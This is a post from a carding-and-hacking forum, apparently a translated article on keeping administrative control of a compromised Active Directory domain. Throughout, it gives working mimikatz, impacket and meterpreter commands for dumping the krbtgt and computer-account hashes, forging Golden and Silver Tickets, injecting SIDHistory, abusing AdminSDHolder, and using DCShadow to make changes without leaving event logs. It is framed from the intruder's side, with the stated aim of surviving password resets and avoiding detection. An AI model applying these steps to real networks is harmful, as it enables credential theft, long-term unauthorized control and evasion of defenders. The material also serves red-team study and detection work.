Home
Forums
New posts
Search forums
What's new
New posts
New profile posts
Latest activity
Members
Current visitors
New profile posts
Search profile posts
Log in
Register
What's new
Search
Search
Search titles only
By:
New posts
Search forums
Menu
Log in
Register
Install the app
Install
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Reply to thread
Home
Forums
CARDING & HACKING
Hacking Tools
We fix ourselves in Active Directory. How to maintain access when attacking a domain.
Message
<blockquote data-quote="Dr. Smile" data-source="post: 388" data-attributes="member: 19"><p><img src="https://sun9-82.userapi.com/impg/c854428/v854428083/2305e6/zTN3KraOfrk.jpg?size=807x363&quality=96&sign=1b2998cbbb5bd14930e351a569383dc2&type=album" alt="zTN3KraOfrk.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p></p><p><strong>The content of the article</strong></p><ul> <li data-xf-list-type="ul">Kerberos Golden Tickets</li> <li data-xf-list-type="ul">Ticketer</li> <li data-xf-list-type="ul">Mimikatz</li> <li data-xf-list-type="ul">Meterpreter</li> <li data-xf-list-type="ul">Kerberos Silver Ticket</li> <li data-xf-list-type="ul">Ticketer</li> <li data-xf-list-type="ul">Mimikatz</li> <li data-xf-list-type="ul">SIDHistory</li> <li data-xf-list-type="ul">Golden Ticket + SIDHistory</li> <li data-xf-list-type="ul">AdminSDHolder</li> <li data-xf-list-type="ul">DCShadow</li> </ul><p>Imagine that we compromised privileged accounts using various privilege escalation techniques, spread across the network, escaped detection, but suddenly lost control of the domain because the administrator changed the password for some reason! In today's article, we'll look at ways to maintain administrative access even if the administrator has changed passwords or permissions.</p><p></p><p><strong>Other articles on attacks on Active Directory</strong></p><ul> <li data-xf-list-type="ul">Intelligence in Active Directory. Getting user data on Windows networks without privileges</li> <li data-xf-list-type="ul">Active Directory attacks. We analyze the current methods of privilege escalation</li> <li data-xf-list-type="ul">Lateral movement in Active Directory. Disassembling Lateral Movement techniques when attacking a domain</li> <li data-xf-list-type="ul">Anti-detection protection in Active Directory. Dodging detection when attacking a domain</li> <li data-xf-list-type="ul">Anti-detection protection in Active Directory. How to trick detection tools in a domain attack</li> <li data-xf-list-type="ul">Collection of accounts in Active Directory. How to search for critical data in a domain attack</li> </ul><p></p><p><strong>Kerberos Golden Tickets</strong></p><p>One of the ways to preserve access to the system is to generate a Golden Ticket: the account password krbtgtwill not be changed under the same conditions under which the administrator password can be changed.</p><p></p><p>Golden Ticket are fake ticket-granting tickets, also called authentication tickets (aka TGT). If you look at the Kerberos authentication scheme for Golden Ticket, you will notice that Kerberos is not authenticated (AS-REQ and AS-REP with a domain controller). Since the Golden Ticket is a bogus TGT, it is sent to the domain controller as part of the TGS-REQ to obtain a TGS ticket.</p><p></p><p><img src="https://sun9-70.userapi.com/impg/c854428/v854428083/230491/bYNTXNn9-6w.jpg?size=807x402&quality=96&sign=a4905d4c4bb548236a93f79a578fe980&type=album" alt="bYNTXNn9-6w.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Kerberos Authentication Scheme with Golden Ticket</p><p></p><p>The Kerberos Golden Ticket is a valid Kerberos TGT because it is encrypted and signed by the domain Kerberos account ( krbtgt). And since the TGT is encrypted with a password hash krbtgtand can be decrypted by any KDC service in the domain, the ticket is perceived as real. In order to make a Golden Ticket, we need to know the following:</p><ol> <li data-xf-list-type="ol">SPN domain.</li> <li data-xf-list-type="ol">Domain SID.</li> <li data-xf-list-type="ol">NTLM hash of the domain account krbtgt.</li> <li data-xf-list-type="ol">The name of the user under which the operator will work (even if such a user does not exist).</li> </ol><p>Since any username can be used, it remains to find three missing components. Domain name and SID can be found using PowerShell command Get-ADDomain.</p><p></p><p><img src="https://sun9-26.userapi.com/impg/c854428/v854428083/23049a/J9jXfqIo21g.jpg?size=807x457&quality=96&sign=a8fd2c15ab47f35ad4ecc83c9134f10f&type=album" alt="J9jXfqIo21g.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>SID and domain name</p><p></p><p>Now you need to get the NTLM hash of the account krbtgt. This can be done both remotely and using mimikatz. With mimikatz, the operator has a choice: to perform a DCSync attack using the Security Account Managers (SAM) database, or to use the sekurlsa module.</p><p></p><p>Code:</p><p>mimikatz # lsadump :: dcsync / user: krbtgt</p><p><img src="https://sun9-87.userapi.com/impg/c854428/v854428083/2304a1/G1m66a3e8lc.jpg?size=541x337&quality=96&sign=73d79494336c0bfa21a980e4d3dd03ad&type=album" alt="G1m66a3e8lc.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Retrieving hashes with mimikatz using the DCSync attackmimikatz # privilege :: debug</p><p></p><p>Code:</p><p>mimikatz # lsadump :: lsa / inject / name: krbtgt</p><p><img src="https://sun9-14.userapi.com/impg/c854428/v854428083/2304a8/J67wDslxG6o.jpg?size=463x243&quality=96&sign=e544aa3a2b991911ad9595687246a867&type=album" alt="J67wDslxG6o.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>We get hashes using mimikatz using the SAM databasemimikatz # sekurlsa :: krbtgt</p><p></p><p><img src="https://sun9-15.userapi.com/impg/c854428/v854428083/2304b0/sMAYh8EA4PY.jpg?size=776x136&quality=96&sign=19a0763da1c5f95638f4e607727b8f47&type=album" alt="sMAYh8EA4PY.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Get hashes with mimikatz using the sekurlsa module</p><p></p><p>Remote attacks are also performed using DCSync or if there is an open session meterpreter.</p><p></p><p>Code:</p><p>impacket-secretsdump domain.dom/<a href="mailto:root@192.168.6.100">root@192.168.6.100</a></p><p><img src="https://sun9-46.userapi.com/impg/c854428/v854428083/2304b8/-tIUwz1b6Yk.jpg?size=678x159&quality=96&sign=42b33cffbca1fba0301eff51e63e44d1&type=album" alt="-tIUwz1b6Yk.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting hashes with secretsdump</p><p></p><p>There are two use cases meterpreter: with hashdumpand dcsync_ntlm(for the second, you need to load the kiwi module).</p><p></p><p><img src="https://sun9-20.userapi.com/impg/c854428/v854428083/2304c0/3lswsoHc928.jpg?size=644x110&quality=96&sign=d2154a26802ffaa859dfa7a7512fb335&type=album" alt="3lswsoHc928.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting hashes with meterpreter hashdump</p><p></p><p><img src="https://sun9-31.userapi.com/impg/c854428/v854428083/2304c7/J-rox_6aZ3Q.jpg?size=416x96&quality=96&sign=159ff0dd4b9bdbc34767f2679a3c393d&type=album" alt="J-rox_6aZ3Q.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting hashes with meterpreter dcsync_ntlm</p><p></p><p>Using the information received, you can create and apply a Golden Ticket. We will do this in three ways: using mimikatz, remotely using ticketerand using meterpreter.</p><p></p><p><strong>Ticketer</strong></p><p>The first step is to create a ticket. To do this, we use a script ticketerfrom the package impacket(remember that you can invent any username).</p><p></p><p>Code:</p><p>impacket-ticketer -nthash 08f5bf2e292d77d8e460d3926a0d90de -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom anyuser</p><p><img src="https://sun9-12.userapi.com/impg/c854428/v854428083/2304ce/gm6mzbOU4sw.jpg?size=428x225&quality=96&sign=dd1cf3635d08da43d5666b646f83d7b1&type=album" alt="gm6mzbOU4sw.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Creating a Golden Ticket with Ticketer</p><p></p><p>A ticket has been created in the current directory anyuser.ccache. We export it.</p><p></p><p>Code:</p><p>export KRB5CCNAME = anyuser.ccache</p><p>Now let's connect with the help psexecfrom the same package impacket.</p><p></p><p>Code:</p><p>python3 psexec.py -k -no-pass [domain] / [user] @ [hostname]</p><p><img src="https://sun9-83.userapi.com/impg/c854428/v854428083/2304d7/oOJ4IXuxMGQ.jpg?size=807x215&quality=96&sign=a39c525d917e855c82341c098b2ed9df&type=album" alt="oOJ4IXuxMGQ.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Connect to the host using golden ticket</p><p></p><p>We get remote control with rights SYSTEM.</p><p></p><p><strong>Mimikatz</strong></p><p>Let's create a fake golden ticket using mimikatz.</p><p></p><p><img src="https://sun9-85.userapi.com/impg/c854428/v854428083/2304e0/5tvUJrpaQPU.jpg?size=807x231&quality=96&sign=d905b7db45f931167c07eb844d9d6f9a&type=album" alt="5tvUJrpaQPU.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Creating a golden ticket with mimikatz</p><p></p><p>If you do not use a parameter in this command /ptt, then the ticket will simply be saved in the current directory. In this case, it will be immediately cached in memory. Let's check it out by calling the command line.</p><p>Code:</p><p>mimikatz # misc :: cmd</p><p>Now, after executing the command klist, we observe the cached Golden Ticket.</p><p></p><p>Creating a Golden Ticket with mimikatz</p><p></p><p><strong>Meterpreter</strong></p><p>To work with, meterpreterwe will use the kiwi module. The first step is to create a Golden Ticket.</p><p></p><p><img src="https://sun9-26.userapi.com/impg/c854428/v854428083/2304f0/wRoEPVy9Mik.jpg?size=724x49&quality=96&sign=9130983848d28c9dcaefd8b6ebe3ba9e&type=album" alt="wRoEPVy9Mik.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Making a Golden Ticket with meterpreter</p><p></p><p>Now let's apply it.</p><p></p><p><img src="https://sun9-86.userapi.com/impg/c854428/v854428083/2304f7/-xTICTCTIR0.jpg?size=562x46&quality=96&sign=381e10099997d62fba4a1de24e7cf97e&type=album" alt="-xTICTCTIR0.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Golden Ticket application with meterpreter</p><p></p><p>And check that the ticket has been loaded successfully.</p><p></p><p><img src="https://sun9-57.userapi.com/impg/c854428/v854428083/2304ff/uIfEfZg3r7I.jpg?size=617x117&quality=96&sign=849d766689eda27d99b0f5f28d6c628f&type=album" alt="uIfEfZg3r7I.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Downloaded Golden Ticket</p><p></p><p>Thus, we are able to work with elevated privileges, while we do not use the credentials of administrators. This means that we can always get access, even when changing user passwords, changing their roles, and even when deleting compromised accounts.</p><p></p><p><strong>Kerberos Silver Ticket</strong></p><p>Silver Ticket are fake TGS tickets, also called service tickets. As shown in the Kerberos Authentication with Silver Ticket diagram, in this case the AS-REQ / AS-REP and TGS-REQ / TGS-REP steps are missing, which eliminates the interaction with the domain controller. That is, we manage to avoid logging, since the event logs are located on the server.</p><p></p><p><img src="https://sun9-26.userapi.com/impg/c854428/v854428083/230508/nwnlTAs8zIE.jpg?size=807x402&quality=96&sign=0ff2db1a17aff7d0b0c21bdd2bb5a448&type=album" alt="nwnlTAs8zIE.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Kerberos Authentication Scheme with Silver Ticket</p><p></p><p>The Kerberos Silver Ticket is a valid Kerberos TGS ticket: it is encrypted and signed by a service account that has an SPN configured for each server that in turn is running the Kerberos Authentication Service.</p><p></p><p>While the Golden Ticket is a fake TGT for gaining access to any Kerberos service, the Silver Ticket is a fake TGS. This means that the scope of its applicability is limited to a specific service.</p><p></p><p>From the above, it follows that instead of the hash of the account password, you krbtgtneed a hash of the password for the service account, as well as its SPN. Below are the most interesting services and their corresponding ticket types.</p><p></p><p>Let's analyze the creation of a Silver Ticket using the example of a service cifs. It will allow us to access with administrator rights to any shared resource on the computer, which is enough to work through psexecwith rights SYSTEM.</p><p></p><p>For the service cifs, the hash of the computer account password is enough for us. It can be obtained in the same way as in the case of the Golden Ticket.</p><p></p><p><img src="https://sun9-79.userapi.com/impg/c854428/v854428083/230522/LzltT87gcZM.jpg?size=789x159&quality=96&sign=7965d4b7ded2494bab4e492f829a8519&type=album" alt="LzltT87gcZM.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting hashes with secretsdump</p><p></p><p><img src="https://sun9-24.userapi.com/impg/c854428/v854428083/23052a/mW-NDoQksY4.jpg?size=638x114&quality=96&sign=b32c65cfb8bb62d201f2cafe79b285ca&type=album" alt="mW-NDoQksY4.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting hashes with meterpreter</p><p></p><p>In the case of mimikatz, you can use sekurlsa::logonpasswords.</p><p></p><p><img src="https://sun9-73.userapi.com/impg/c854428/v854428083/230531/LAidmRwUhFo.jpg?size=556x338&quality=96&sign=72da20e8cb83f551a02a23d81c6a269b&type=album" alt="LAidmRwUhFo.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting the hash of a computer account using mimikatz</p><p></p><p>Now let's create and apply a Silver Ticket.</p><p></p><p><strong>Ticketer</strong></p><p>First, let's generate a Silver Ticket. This can be done by analogy with the golden ticket, but you must specify the SPN of the CIFS service.</p><p></p><p>Code:</p><p>impacket-ticketer -nthash c854d3f11ea2ad22267ed4571f77d29b -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom -spn cifs / [hostname] anyuser</p><p><img src="https://sun9-13.userapi.com/impg/c854428/v854428083/23053a/-s7nu9j_gU4.jpg?size=807x220&quality=96&sign=8bfabb623943e3013788d33cc4e88e1c&type=album" alt="-s7nu9j_gU4.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting the hash of a computer account using mimikatz</p><p></p><p>Now we export the ticket.</p><p></p><p>Code:</p><p>export KRB5CCNAME = anyuser.ccache</p><p>Finally, let's get rights management SYSTEMwith psexec.</p><p></p><p><img src="https://sun9-74.userapi.com/impg/c854428/v854428083/230543/-haW-i_H_HY.jpg?size=807x213&quality=96&sign=fdae9b093540bbf140d8368a92093c0d&type=album" alt="-haW-i_H_HY.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting the hash of a computer account using mimikatz</p><p></p><p><strong>Mimikatz</strong></p><p>The NTLM hash of the computer account password is used with the parameter rc4. In this case, we can come up with both a username and his User ID (in the parameter id). We servicewill indicate in the parameter cifs, and in the targetfull name of the computer.</p><p></p><p>Code:</p><p>kerberos :: golden / admin: anyuser /domain:domain.dom / id: 1111 / sid: S-1-5-21-719111203-942671344-1831409528 / target: [hostname] / rc4: [NTLM hash] / service: cifs / ptt</p><p><img src="https://sun9-32.userapi.com/impg/c854428/v854428083/23054c/IuX7HYLBRrc.jpg?size=807x275&quality=96&sign=a46e4bdacc49edb58875d46e31e3bcc9&type=album" alt="IuX7HYLBRrc.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting the hash of a computer account using mimikatz</p><p></p><p>Let's check the tickets loaded into memory and find the newly created one there.</p><p></p><p><img src="https://sun9-54.userapi.com/impg/c854428/v854428083/230554/2rbTYo_roFk.jpg?size=707x117&quality=96&sign=2bcdd4c48434f6cb2a4ae3ae98b20ce8&type=album" alt="2rbTYo_roFk.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting the hash of a computer account using mimikatz</p><p></p><p>There is an opinion that Silver Ticket is much more dangerous than Golden Ticket, despite the fact that their scope is limited. This is true because the service hash is easier to obtain than the hash krbtgt, and detection of such an intrusion is more difficult due to the lack of communication with the domain controller.</p><p></p><p><strong>SIDHistory</strong></p><p>SIDHistoryIs an attribute of an object in Active Directory that stores the old SID. It is most commonly used for migrations. This feature is required when transferring user accounts from one trusted domain to another. At the same time, the accounts fully retain the settings for accessing old resources and files. When a user is authenticated, the SIDs of each security group of which they are a member are added to that user's Kerberos ticket and also to SIDHistorytheir account attribute .</p><p></p><p>When creating a new user, the SID of his account will be different from the SID of other accounts. This is also true when transferring a user from the first domain to the second. In this case, the SID of the user account from the first domain will be added to the SIDHistoryaccount in the second domain. That is why a user from the second domain can access their old resources and files in the first domain.</p><p></p><p>But, surprisingly, if a regular user in the second domain has in the attribute of SIDHistoryhis account the SID of the account of one of the administrators of the first domain, then this user becomes privileged in the first domain! That is, the user will be granted domain administrator rights without his participation in the Domain Admins group.</p><p></p><p>Thus, to maintain privileged access in the trusted domain, the operator can include the SID of the privileged account in the target domain in the attribute of SIDHistorythe unprivileged account from the trusted domain that it controls.</p><p></p><p>With the help of mimikatz, we can embed any SID in the attribute of SIDHistoryany user (but this requires administrator rights, which, of course, we have). In the following illustration, you can see that the user notrootdoes not have administrative access.</p><p></p><p><img src="https://sun9-62.userapi.com/impg/c854428/v854428083/23055c/uoYDKK-2wn0.jpg?size=696x160&quality=96&sign=d825b6cb324dfc1bfa6726bd7a653d7c&type=album" alt="uoYDKK-2wn0.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Connection failed with psexec as user notroot</p><p></p><p>Let's see the attribute of SIDHistorythis user.</p><p></p><p>Code:</p><p>PS> Get-ADUser [user] -Properties SIDHistory</p><p><img src="https://sun9-70.userapi.com/impg/c854428/v854428083/230563/meAS6Fd0FGM.jpg?size=527x209&quality=96&sign=0c50f226d51d2eb803334c99fa40315c&type=album" alt="meAS6Fd0FGM.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>SIDHistory of user notroot</p><p></p><p>The user has this attribute empty. Now we will find out the SID of the administrator, which needs to be injected there.</p><p></p><p><img src="https://sun9-58.userapi.com/impg/c854428/v854428083/23056a/EULUeENCGfE.jpg?size=520x212&quality=96&sign=f1d5de52ba7eba552765973fa24b0a26&type=album" alt="EULUeENCGfE.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting information about a user with high privileges</p><p></p><p>Let's use mimikatz to inject the root user SID rootinto a SIDHistoryregular user attribute notroot.</p><p></p><p>Code:</p><p>mimikatz # privilege :: debug</p><p>mimikatz # sid :: patch</p><p>mimikatz # sid :: add / sam: [target user] / new: [SID or user whose SID is being embedded]</p><p><img src="https://sun9-39.userapi.com/impg/c854428/v854428083/230572/v8PEzFdRI24.jpg?size=788x260&quality=96&sign=9719fe5e5b49bc36d18174454bf5da7a&type=album" alt="v8PEzFdRI24.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>SID injection with mimikatz</p><p></p><p>Everything went well. Now let's check the attribute of SIDHistoryour user again . As you can see in the following illustration, the attribute SIDHistorynow contains the superuser SID.</p><p></p><p><img src="https://sun9-4.userapi.com/impg/c854428/v854428083/230579/e3hXVDEb3cg.jpg?size=534x211&quality=96&sign=5aace79f95a99c8869efc3b0c867bb94&type=album" alt="e3hXVDEb3cg.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>SIDHistory of user notroot</p><p></p><p>When logged in as a user, notrootall SIDs associated with that account are added to the user's token, which is used to determine access to resources. More precisely, they add there:</p><ol> <li data-xf-list-type="ol">The SID associated with the user account.</li> <li data-xf-list-type="ol">SIDs of the groups the user belongs to (including the groups of which these groups are members).</li> <li data-xf-list-type="ol">SIDs contained in SIDHistory.</li> </ol><p>If you try to log in again as a user notroot, you will notice that he now has administrative access.</p><p></p><p><img src="https://sun9-65.userapi.com/impg/c854428/v854428083/230581/pwgqrXPWnmE.jpg?size=691x241&quality=96&sign=69cffd3c0b5fab9b2bc4523e64aa63ce&type=album" alt="pwgqrXPWnmE.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Successful connection as user notroot using psexec</p><p></p><p>When a user notrootlogs in, the SIDs associated with their account are evaluated and access is determined based on those SIDs. Since an account notrootis associated with an account root(administrator), the account notroothas all access rights to the account root, including domain administrator rights.</p><p></p><p><strong>Golden Ticket + SIDHistory</strong></p><p>The parent (root) domain contains the Enterprise Admins group of forest-wide administrators. Therefore, when the hash of the account password is krbtgtprovided in the child domain, there is a certain limitation. Since mimikatz adds group membership using relative identifiers (RIDs), in this case the RID 519 (Enterprise Admins) group in the Kerberos ticket will be identified as local to the domain in which the ticket was created (based on the account domain krbtgt) ... However, if the SID obtained by adding the RID to the domain SID does not exist, then the owner of the Kerberos ticket will not receive a specific level of access.</p><p></p><p>Thus, if the domain in which the Golden Ticket was created does not contain the Enterprise Admins group, then this ticket will not grant administrator rights for other domains in the same forest. If you make a Golden Ticket using mimikatz and refer to resources in your own and other domains, then in the second case we will receive a denial of access.</p><p></p><p>Code:</p><p>mimikatz # kerberos :: golden / admin: anyuser /domain:domA.domain.dom / sid: S-1-5-21-719111203-942671344-1831409528-1000 / krbtgt: 08f5bf2e292d77d8e460d3926a0d90de / ptt</p><p><img src="https://sun9-77.userapi.com/impg/c854428/v854428083/23058a/qwW1l_zugsY.jpg?size=807x388&quality=96&sign=738249ad61e84c87920444b1d0010ef9&type=album" alt="qwW1l_zugsY.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Regular Golden Ticket with mimikatz</p><p></p><p>We have already discussed in detail how it works SIDHistory, and we know that the Kerberos ticket contains this parameter. Let's add to the Kerberos golden ticket, namely to the SIDHistorySID parameter of the Enterprise Admins group.</p><p></p><p>Code:</p><p>mimikatz # kerberos :: golden / admin: anyuser /domain:domA.domain.dom / sid: S-1-5-21-719111203-942671344-1831409528-1000 / krbtgt: 08f5bf2e292d77d8e460d3926a0d90de / sidss: [SID of Enterprise ptt</p><p><img src="https://sun9-67.userapi.com/impg/c854428/v854428083/230593/utJhpYW4G84.jpg?size=807x408&quality=96&sign=5cdd2d60bf8546315c1cae1a2a9eaea8&type=album" alt="utJhpYW4G84.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Golden Ticket with SIDHistory via mimikatz</p><p></p><p>Thus, we gain access to the entire forest.</p><p></p><p><strong>AdminSDHolder</strong></p><p>AdminSDHolder - it is a subject in the section Systemin the Directory the Active ( cn=adminsdholder, cn=system, dc=domain, dc=dom). It is used as a security template for objects that are members of certain privileged groups called protected groups.</p><p></p><p><img src="https://sun9-22.userapi.com/impg/c854428/v854428083/23059c/oY8zA3V2uSo.jpg?size=807x285&quality=96&sign=ccf376cf315a2c0e9b9011b61b9070d3&type=album" alt="oY8zA3V2uSo.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>AdminSDHolder object</p><p></p><p>In Active Directory, accounts and groups with high privileges are considered secure by default. With most objects in Active Directory, administrators or users who have been delegated permissions to manage Active Directory objects can not only change access rights to objects, but also manage the permissions themselves (for example, to customize group memberships).</p><p></p><p>But there is one peculiarity: in the case of protected accounts and groups, object permissions are set and applied automatically. This ensures that object permissions remain consistent even if objects are moved to a different directory. Therefore, if someone manually changes the permissions of a protected object, those permissions will be reverted to their default values.</p><p></p><p>The objects that are considered protected groups by default are Account Operators, Administrator, Administrators, Archive Operators, Domain Admins, Enterprise Admins, Enterprise Key Admins, Key Admins, KRBTGT, Print Operators, Read Only Domain Controllers, Replicator, Schema Admins, server operators. Unlike most objects in an Active Directory domain that are owned by the Administrators group, the object AdminSDHolderbelongs to the Domain Admins group. Thus, all AdminSDHolderobjects protected with the help have the attribute AdminCountset to 1. But if the object is removed from the protected group, the value of the attribute AdminCountdoes not change.</p><p></p><p>Since the main condition of the protected object becomes the attribute value AdminCountequal to 1, we can find all these objects using the following script.</p><p></p><p>Code:</p><p>$ ldapFilter = "(adminCount = 1)"</p><p>$ domain = New-Object System.DirectoryServices.DirectoryEntry</p><p>$ search = New-Object System.DirectoryServices.DirectorySearcher</p><p>$ search.SearchRoot = $ domain</p><p>$ search.PageSize = 1000</p><p>$ search.Filter = $ ldapFilter</p><p>$ search.SearchScope = "Subtree"</p><p></p><p>$ result = $ search.FindAll ()</p><p></p><p>foreach ($ res in $ result) {</p><p> $ userEntry = $ res.GetDirectoryEntry ()</p><p> Write-host "Object Name =" $ userEntry.name</p><p> Write-host "Object Class =" $ userEntry.objectClass</p><p> foreach ($ AdminCount in $ userEntry.adminCount) {</p><p> Write-host "AdminCount =" $ AdminCount</p><p> Write-host ""</p><p> }</p><p>}</p><p>An object's access control list (ACL) is AdminSDHolderapplied as a template for all permissions to all protected Active Directory objects and their members. To provide secure access to protected objects, Active Directory will take the object's ACL AdminSDHolderand periodically apply it to all of these objects, that is, to all users and groups. Thus, if we can manipulate the ACL for AdminSDHolder, these permissions will be automatically applied to all protected objects, which will create permanent access to privileged accounts in the domain.</p><p></p><p>The SDProp process is responsible for automating the restoration of permissions on protected objects. By default, recovery occurs every 60 minutes (but this interval can be changed). Thus, if the administrator sees a suspicious permission for a protected object and deletes it, then after the specified time these permissions will be restored back thanks to SDProp, since the attribute of AdminCountthis object must be equal to 1. As a result, the object will remain protected.</p><p></p><p>Let's add the user to AdminSDHolderor set the attribute adminCountto 1 for the user.</p><p></p><p>Code:</p><p>Get-ADUser [user] | Set-ADObject -Clear adminCount</p><p>Get-ADUser [user] | Set-ADObject -Add @ {adminCount = 1}</p><p>Some time after SDProp restores the permissions, this account will have full control over the Domain Admins group.</p><p></p><p>However, you notice that the user has no group membership.</p><p></p><p>Code:</p><p>Get-ADUser [user] -Properties memberof</p><p><img src="https://sun9-32.userapi.com/impg/c854428/v854428083/2305a3/JvIxWrSqirs.jpg?size=599x226&quality=96&sign=4b5166c0912ed17e0277d268497a7151&type=album" alt="JvIxWrSqirs.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Target User Information</p><p></p><p>To change the recovery interval, you need to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameterscreate a parameter DWORDwith a name in the registry branch AdminSDProtectFrequency, and specify the number of seconds as the value (the minimum is 60).</p><p></p><p>AdminSDHolderIs a very clever technique that allows us to provide the ability to change privileged groups in Active Directory using a key security component. Thus, even if the permissions for the protected group or user are changed by the administrator, SDProp will return the security permissions after the allotted time interval according to the object AdminSDHolder, thereby giving us back administrative access.</p><p></p><p><strong>DCShadow</strong></p><p>In the previous part of the article, we looked at a way to ensure access persistence based on changing the permissions of securable objects, that is, managing ACLs and manipulating the container AdminSDHolder. But these methods can be recorded in the event log. To avoid this, there is a solution: DCShadow allows you to make such changes without logging events, which reduces the risk of detection.</p><p></p><p>So the plan is as follows:</p><ol> <li data-xf-list-type="ol">Get current permissions AdminSDHolder.</li> <li data-xf-list-type="ol">Make changes to permissions (add a new user).</li> <li data-xf-list-type="ol">Apply updated permissions via DCShadow.</li> </ol><p>You can get the current permissions using PowerShell.</p><p></p><p>Code:</p><p>$ asdh = [adsi] 'LDAP: // CN = AdminSDHolder, CN = System, DC = domain, DC = dom'</p><p>$ sddl = $ asdh.ObjectSecurity.Sddl</p><p><img src="https://sun9-75.userapi.com/impg/c854428/v854428083/2305ac/JIgiOPDihj0.jpg?size=807x117&quality=96&sign=d003c0104ceb37042faf6a3219369d97&type=album" alt="JIgiOPDihj0.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>The current permissions of the AdminSDHolder container in SDDL format</p><p></p><p>To ensure the persistence of access, let's add an account to the permissions AdminSDHolder. To do this, you need to change the resulting SDDL string. First, you need to find out the SID of the target.</p><p></p><p><img src="https://sun9-31.userapi.com/impg/c854428/v854428083/2305b3/OIaxS2Pes5g.jpg?size=523x211&quality=96&sign=569a6e530d9ec4e70ce95dcf1c1b60f5&type=album" alt="OIaxS2Pes5g.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Getting the SID of the target user</p><p></p><p>Now you can change the SDDL by simply adding the SID there.</p><p>Code:</p><p>$ newsddl = $ sddl + "(A ;; CCDCLCSWRPWPDTLOCRSDRCWDWO ;;; [SID]])"</p><p><img src="https://sun9-26.userapi.com/impg/c854428/v854428083/2305bc/IhMCla_BISc.jpg?size=807x102&quality=96&sign=4e6e9405a82d8b5cd444eb83744da922&type=album" alt="IhMCla_BISc.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p></p><p>New line SDDL</p><p>Let's move on to the last step - using DCShadow. To apply these permissions, we use mimikatz, and on behalf of System.</p><p></p><p>Code:</p><p>mimikatz #! +</p><p>mimikatz #! processtoken</p><p>mimikatz # lsadump :: dcshadow / object: "CN = AdminSDHolder, CN = System, DC = domain, DC = dom" / attribute: ntsecuritydescriptor / value: [SDDL]</p><p><img src="https://sun9-7.userapi.com/impg/c854428/v854428083/2305c5/y-kf4TP-mvE.jpg?size=807x63&quality=96&sign=32861d4e1267901d40b9dde0f5f10ada&type=album" alt="y-kf4TP-mvE.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Change AdminSDHolder permissions with mimikatz DCShadow</p><p></p><p>In this case, in another mimikatz window, you need to replicate and apply the data.</p><p></p><p>Code:</p><p>mimikatz # lsadump :: dcshadow / push</p><p>After a while, you may notice the updated attribute adminCounton the target account , which we already talked about.</p><p></p><p><img src="https://sun9-29.userapi.com/impg/c854428/v854428083/2305cc/bStgIpE900I.jpg?size=566x81&quality=96&sign=2604480d90ef41982128ee2a28f9e935&type=album" alt="bStgIpE900I.jpg" class="fr-fic fr-dii fr-draggable " style="" /></p><p>Change AdminSDHolder permissions with mimikatz DCShadow</p><p></p><p>Thus, another vector for which we can use DCShadow is administrative access persistence.</p></blockquote><p></p>
[QUOTE="Dr. Smile, post: 388, member: 19"] [IMG alt="zTN3KraOfrk.jpg"]https://sun9-82.userapi.com/impg/c854428/v854428083/2305e6/zTN3KraOfrk.jpg?size=807x363&quality=96&sign=1b2998cbbb5bd14930e351a569383dc2&type=album[/IMG] [B]The content of the article[/B] [LIST] [*]Kerberos Golden Tickets [*]Ticketer [*]Mimikatz [*]Meterpreter [*]Kerberos Silver Ticket [*]Ticketer [*]Mimikatz [*]SIDHistory [*]Golden Ticket + SIDHistory [*]AdminSDHolder [*]DCShadow [/LIST] Imagine that we compromised privileged accounts using various privilege escalation techniques, spread across the network, escaped detection, but suddenly lost control of the domain because the administrator changed the password for some reason! In today's article, we'll look at ways to maintain administrative access even if the administrator has changed passwords or permissions. [B]Other articles on attacks on Active Directory[/B] [LIST] [*]Intelligence in Active Directory. Getting user data on Windows networks without privileges [*]Active Directory attacks. We analyze the current methods of privilege escalation [*]Lateral movement in Active Directory. Disassembling Lateral Movement techniques when attacking a domain [*]Anti-detection protection in Active Directory. Dodging detection when attacking a domain [*]Anti-detection protection in Active Directory. How to trick detection tools in a domain attack [*]Collection of accounts in Active Directory. How to search for critical data in a domain attack [/LIST] 